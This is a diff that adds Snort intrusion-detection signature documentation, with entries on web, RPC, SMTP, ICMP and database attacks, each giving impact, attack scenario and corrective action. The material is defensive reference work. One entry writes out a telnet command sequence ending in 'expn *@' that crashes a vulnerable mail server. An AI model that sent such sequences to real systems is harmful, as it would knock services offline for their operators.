+
+-- 
+Summary: 
+This rule has been placed in deleted.rules
+
+-- 
+Impact: 
+
+attacker might have gained an ability to execute commands
+remotely on the system.
+
+--
+Detailed Information:
+
+This signature triggers when a UNIX "id" command is used to confirm
+the user name of the currently logged in user over any unencrypted
+connection. Such connection can be either a legitimate telnet
+connection or a result of spawning a shell on FTP, POP3, SMTP or other
+port as a consequence of network exploit. The string "uid=" and
+"(http)" is an output of an "id" command indicating that the user
+has "http" account privileges, typically used by the web server
+process.  Seeing such a response indicates that some user connected
+over the network to a target web server and likely exploited the web
+server to launch a shell.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+
+a buffer overflow exploit against the WWW server
+results in "/bin/sh" being executed. An automated script performing an
+attack, checks for the success of the exploit via an "id" command.
+
+-- 
+Ease of Attack: 
+
+this post-attack behavior can accompany different attacks
+
+-- 
+False Positives:
+None Known
+
+the signature will trigger if a legitimate system
+administrator executes the "id" command over the telnet connection
+which uses one of the web ports, as defined in snort.conf
+
+--
+False Negatives: not known
+
+-- 
+Corrective Action:
+
+investigate the server for signs of compromise, run
+the integrity checking software, look for other IDS alerts involving
+the same IP addresses.
+
+--
+Contributors: Anton Chuvakin <anton@chuvakin.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000495.txt
+++ snort-2.8.5.2/doc/signatures/100000495.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000495
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Zeroboard" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "$file_name" parameter in the "write_ok.php" 
+script used by the "Zeroboard" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Zeroboard
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1017.txt
+++ snort-2.8.5.2/doc/signatures/1017.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1017
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow associated with a file with an extension of .idc.
+
+--
+Impact:
+Remote access.  This attack may permit the execution of arbitrary commands on the vulnerable server.
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) supports file extensions including .idc that call the ISM.DLL.  A buffer overflow vulnerability exists in ISM.DLL code when it receives a malformed request, permitting the execution of arbitrary code.  
+
+--
+Affected Systems:
+IIS 4.0 hosts
+
+--
+Attack Scenarios:
+An attacker can send a malformed request of file with a .idc extension that causes a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to a more current version of IIS.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0874
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2348.txt
+++ snort-2.8.5.2/doc/signatures/2348.txt
@@ -0,0 +1,53 @@
+Rule:  
+
+--
+Sid:
+2348
+
+--
+Summary:
+This rule does not generate an event. I does activate sid 2349 however.s
+
+--
+Impact:
+Intelligence gathering.
+
+--
+Detailed Information:
+This rule checks for a bind to a print spool using DCE RPC. This may be
+an attempt to check for printer and printer services available on a
+host. Sid 2349 will generate an event when an attempt is made to
+enumerate the printer service on a host.
+
+--
+Affected Systems:
+	All Microsoft DCE RPC enabled systems
+	
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1450.txt
+++ snort-2.8.5.2/doc/signatures/1450.txt
@@ -0,0 +1,79 @@
+Rule:
+
+--
+Sid:
+
+1450
+
+--
+Summary:
+This event is generated when an attempt is made to send a malformed
+request to an SMTP server which may cause a Denial of Service.
+
+--
+Impact:
+Denial of Service (DoS)
+
+--
+Detailed Information:
+The SMTP standard command "EXPN" is provided by servers to help find
+user e-mail accounts.
+
+A malformed request to certain versions of Vintra MailServer can cause a
+DoS against that server.
+ 
+--
+Affected Systems:
+
+Vixar MailServer for Windows
+
+--
+Attack Scenarios:
+The attacker needs to connect to a vulnerable server and issue the
+following commands.
+
+>telnet victim.foo.com 25
+>helo victim
+>mail from:doctor
+>rcpt to:evil
+>expn *@
+
+--
+Ease of Attack:
+
+Simple. No exploit software required.
+
+--
+False Positives:
+
+None known.
+
+--
+False Negatives:
+
+None known.
+
+--
+Corrective Action:
+
+Disable the EXPN command on the SMTP server.
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Extra information from Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+NT Bugtraq:
+http://marc.theaimsgroup.com/?l=ntbugtraq&m=90222454131610&w=2
+
+Command Reference:
+http://www.ntmail.co.uk/kb.htm?q=980
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2570.txt
+++ snort-2.8.5.2/doc/signatures/2570.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+2570
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+In particular this rule generates events when a non-standard HTTP
+request is made to a server. Some applications do not handle this
+exception in an acceptable manner and may present an attacker with the
+opportunity to exploit the application and server becasue of this.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+	Seattle Lab Software SLMail Pro 2.0 to 2.0.9 inclusive
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+The use of some proxy servers like Inktomi, may cause this rule to
+generate events.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000321.txt
+++ snort-2.8.5.2/doc/signatures/100000321.txt
@@ -0,0 +1,78 @@
+
+
+Rule:
+
+--
+Sid:
+100000321
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "ScozNet ScozNews" application running on a 
+webserver. Access to the file "help.php" using a remote file being passed as 
+the "main_path" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "main_path" parameter in the "help.php" script used by 
+the "ScozNet ScozNews" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ScozNet ScozNews
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1867.txt
+++ snort-2.8.5.2/doc/signatures/1867.txt
@@ -0,0 +1,61 @@
+Nigel - added new references to the rule and bumped up revision number.
+Rule:
+
+--
+Sid:
+1867
+
+--
+Summary:
+This event is generated when a remote user attempts to query the X Display Manager Control Protocol (XDMCP).
+
+--
+Impact:
+Reconnaissance.  An attacker may obtain a list of usernames on the remote host.
+
+--
+Detailed Information:
+The KDE Display Manager (KDM) provides a network protocol XDMCP to supply a graphical login screen.  It is possible to use this protocol to list the users on the remote host running XDMCP.  This provides reconnaissance and may be a precursor of attempting a brute force password attack of the revealed usernames.
+
+--
+Affected Systems:
+Any host running XDMCP.
+
+--
+Attack Scenarios:
+An attacker may obtain a list of current usernames on the remote host as a precursor of attempting a brute force attack to guess passwords of those users.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Block inbound XDMCP traffic.
+
+Disable XDMCP as a listening service on the remote host unless it is required.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS476
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10891
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000457.txt
+++ snort-2.8.5.2/doc/signatures/100000457.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000457
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "ASP Stats" application running on a webserver. Access to 
+the file "pages.asp" with SQL commands being passed as the "order" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "order" parameter in the "pages.asp" script used by the 
+"ASP Stats" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ASP Stats
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/451.txt
+++ snort-2.8.5.2/doc/signatures/451.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+
+Sid:
+408
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Timestamp Reply in response to an ICMP Timestamp Request message.
+
+--
+
+Impact:
+Information-gathering.  An ICMP Timestamp Reply message is sent in response to an ICMP RTimestamp Request message.  If the ICMP Timestamp Reply message reaches the requesting host it indicates that the replying host is alive.
+
+--
+
+Detailed Information:
+ICMP Type 0 Code 0 is the RFC defined messaging type for ICMP Timestamp Reply datagrams.  This type of message is used to determine if a host is active on the network.
+
+If ICMP type 8 (echo) traffic is filtered at a firewall, an attacker may try to use type 14 (timestamp) as an alternative.
+
+--
+
+Attack Scenarios:
+A remote attacker may use ICMP Timestamp Request datagrams to determine active hosts on the network in prelude of further attacks.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Use ingress filtering to prevent ICMP Type 0 Code 8 messages from entering the network.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/858.txt
+++ snort-2.8.5.2/doc/signatures/858.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+858
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/353.txt
+++ snort-2.8.5.2/doc/signatures/353.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+353
+
+--
+Summary:
+This event is generated when a remote user attempts to anonymously log into an internal FTP server with a suspicious password, indicating that an attacker may be scanning the FTP server for vulnerabilities using the ADMhack scanning tool.
+
+--
+Impact:
+Information gathering, possible unauthorized access. 
+
+--
+Detailed Information:
+ADMhack is a security scanner that scans for exploitable network vulnerabilities. When the scanner encounters an FTP server, it attempts to log in using "ddd@ " as a password.
+ 
+--
+Affected Systems:
+Computers running anonymous FTP servers.
+
+--
+Attack Scenarios:
+An attacker scans the network for vulnerable FTP servers using ADMhack scanner. When an FTP server is found, the tool attempts to log into the server. If vulnerabilities exist on the server, this may allow the attacker access to the FTP server in order to exploit them. 
+
+--
+Ease of Attack:
+Simple. ADMhack is freely available on the Internet.
+
+--
+False Positives:
+If a legitimate remote anonymous user uses the same password, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable anonymous FTP access.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2505.txt
+++ snort-2.8.5.2/doc/signatures/2505.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2505
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1451.txt
+++ snort-2.8.5.2/doc/signatures/1451.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1451
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3422.txt
+++ snort-2.8.5.2/doc/signatures/3422.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3422
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2021.txt
+++ snort-2.8.5.2/doc/signatures/2021.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2021
+
+--
+Summary:
+The RPC service mountd enables clients to connect to networked file 
+dismounted via UDP.
+
+--
+Impact:
+Denial of network resources to users on the local area network.
+
+--
+Detailed Information:
+This may be an attempt to deny access to network resources from an 
+unauthorized source. It may also be indicative of an attacker probing 
+for RPC services on a host in an attempt to discover a possible entry 
+point to network resources via a vulnerable daemon.
+
+--
+Affected Systems:
+All systems allowing network shares to be unmounted by anonymous hosts, 
+all systems allowing RPC services to be stopped by ordinary users and 
+systems already compromised by an attacker via another vulnerability.
+
+--
+Attack Scenarios:
+This is an intelligence gathering activity, the attacker could remotely 
+unmount a shared resource to deny a resource to the local area network 
+or a probe to discover possible routes of entry into a system.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+When allowing hosts to mount an external network share, consider using a
+hosts.allow file.
+
+Do not allow shares to be unmounted by unauthorized hosts or users.
+
+RPC services should not be available outside the local area network, 
+filter RPC ports at the firewall to ensure access is denied to RPC 
+enabled machines.
+
+RPC services should also be disabled where not needed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/445.txt
+++ snort-2.8.5.2/doc/signatures/445.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+445
+
+--
+Summary:
+This event is generated when an ICMP "SKIP" message is generated.
+
+--
+Impact:
+Informational.  This indicates that an error condition was encountered when requesting the Simple Key Management Protocol for IP (SKIP) protocol to provide keying material.
+
+--
+Detailed Information:
+An ICMP "SKIP" message is issued when a SKIP request to provide keying material fails.  This may occur when the sender makes a request via a SKIP packet for some kind of algorithm, such as encryption, that is not supported by the receiver.  The receiver responds with this ICMP message to indicate that the requested algorithm is not supported. 
+
+--
+Affected Systems:
+This traffic should have no adverse impact.
+
+--
+Attack Scenarios:
+This is not an attack unless these messages are sent in volume for an attempted denial of service.
+
+--
+Ease of Attack:
+Simple. There are many packages available to generate ICMP messages.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+None.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2804.txt
+++ snort-2.8.5.2/doc/signatures/2804.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2804
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure send_and_compare_old_values
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1628.txt
+++ snort-2.8.5.2/doc/signatures/1628.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1628
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3061.txt
+++ snort-2.8.5.2/doc/signatures/3061.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3061
+
+--
+Summary:
+This event is generated when an attempt is made to connect to the distcc
+daemon.
+
+--
+Impact:
+Serious. Execution of arbitrary commands may be possible.
+
+--
+Detailed Information:
+Distcc is an open source distributed C/C++ compiler that can be used
+to compile code on remote hosts that run the distcc daemon.  A vulnerability
+exists in the handling of commands that are generated via a distcc client.  The
+server does not ensure that compile commands only are sent to it.  A command
+sequence can be created that executes commands on a vulnerable server.  No
+authentication is required to execute a command on a distcc server.
+
+--
+Affected Systems:
+	2.18.3 and prior
+
+--
+Attack Scenarios:
+An attacker can generated a valid distcc command sequence that executes
+a command other than a compile on a vulnerable distcc server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+This is a policy rule and requires proper customization for the
+variable $EXTERNAL_NET for sites that allow distcc traffic from
+remote hosts.  The $EXTERNAL_NET variable should be replaced with
+the IP address(es) of unauthorized client hosts only.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use the --allow <hosts> option when starting the distcc daemon
+to specify authorized client hosts.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-2.txt
+++ snort-2.8.5.2/doc/signatures/119-2.txt
@@ -0,0 +1,70 @@
+Rule: 
+
+--
+Sid: 
+119-2
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an attempt to evade an IDS.
+
+--
+Detailed Information:
+This event is generated when double encoded characters are detected in
+web traffic. This is abnormal behavior and may be an indicator of a
+possible attack against a vulnerable system.
+
+This may also be an attempt to evade IDS.
+
+--
+Affected Systems:
+	Microsoft IIS Servers.
+
+--
+Attack Scenarios: 
+An attacker might double encode the request to the web server, this may
+then evade an IDS monitoring traffic and could then launch a successful
+attack without being detected.
+
+-- 
+Ease of Attack: 
+Simple. Exploits exist.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software
+
+Use Apache.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/517.txt
+++ snort-2.8.5.2/doc/signatures/517.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+517
+
+--
+Summary:
+This event is generated when an attempt is made to query the XDMCP 
+service.
+
+--
+Impact:
+Serious. Information disclosure. Unauthorized access to the system.
+
+--
+Detailed Information:
+An XDMCP query can provide a wealth of information about a host such as 
+a login screen, a list of users on the host, and to bypass access 
+control restrictions used by tcpwrapper and to bypass the restriction of
